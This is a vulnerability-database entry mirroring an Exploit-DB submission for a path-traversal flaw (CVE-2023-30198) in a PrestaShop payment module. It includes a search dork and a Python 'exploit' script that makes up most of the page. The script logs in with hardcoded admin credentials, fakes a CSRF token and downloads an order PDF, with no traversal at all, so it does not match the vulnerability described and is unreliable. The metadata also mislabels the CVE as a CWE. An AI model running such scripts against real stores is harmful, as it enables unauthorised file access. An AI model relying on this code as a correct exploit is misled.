PrestaShop Winbiz Payment module - Improper Limitation of a Pathname to a Restricted Directory

vendor:

Winbiz Payment module

by:

Amirhossein Bahramizadeh

N/A

CVSS

MEDIUM

Improper Limitation of a Pathname to a Restricted Directory

CWE

Product Name: Winbiz Payment module

Affected Version From: 17.1.2003

Affected Version To: Unknown

Patch Exists: YES

Related CWE: CVE-2023-30198

CPE: a:prestashop:winbiz_payment_module

Metasploit:

Other Scripts:

Platforms Tested: Windows, Linux

2023

PrestaShop Winbiz Payment module – Improper Limitation of a Pathname to a Restricted Directory

The PrestaShop Winbiz Payment module is vulnerable to an Improper Limitation of a Pathname to a Restricted Directory vulnerability. This vulnerability allows an attacker to download arbitrary files from the server.

Mitigation:

Update to the latest version of the PrestaShop Winbiz Payment module to fix this vulnerability. Additionally, restrict access to the vulnerable file and directory to prevent unauthorized access.

Source

Exploit-DB raw data:

# Exploit Title: PrestaShop Winbiz Payment module - Improper Limitation of a Pathname to a Restricted Directory
# Date: 2023-06-20
# Dork: /modules/winbizpayment/downloads/download.php
# country: Iran
# Exploit Author: Amirhossein Bahramizadeh
# Category : webapps
# Vendor Homepage: https://shop.webbax.ch/modules-pour-winbiz/153-module-prestashop-winbiz-payment-reverse.html
# Version: 17.1.3 (REQUIRED)
# Tested on: Windows/Linux
# CVE : CVE-2023-30198

import requests
import string
import random

# The base URL of the vulnerable site
base_url = "http://example.com"

# The URL of the login page
login_url = base_url + "/authentication.php"

# The username and password for the admin account
username = "admin"
password = "password123"

# The URL of the vulnerable download.php file
download_url = base_url + "/modules/winbizpayment/downloads/download.php"

# The ID of the order to download
order_id = 1234

# The path to save the downloaded file
file_path = "/tmp/order_%d.pdf" % order_id

# The session cookies to use for the requests
session_cookies = None

# Generate a random string for the CSRF token
csrf_token = ''.join(random.choices(string.ascii_uppercase + string.digits, k=32))

# Send a POST request to the login page to authenticate as the admin user
login_data = {"email": username, "passwd": password, "csrf_token": csrf_token}
session = requests.Session()
response = session.post(login_url, data=login_data)

# Save the session cookies for future requests
session_cookies = session.cookies.get_dict()

# Generate a random string for the CSRF token
csrf_token = ''.join(random.choices(string.ascii_uppercase + string.digits, k=32))

# Send a POST request to the download.php file to download the order PDF
download_data = {"id_order": order_id, "csrf_token": csrf_token}
response = session.post(download_url, cookies=session_cookies, data=download_data)

# Save the downloaded file to disk
with open(file_path, "wb") as f:
    f.write(response.content)

# Print a message indicating that the file has been downloaded
print("File downloaded to %s" % file_path)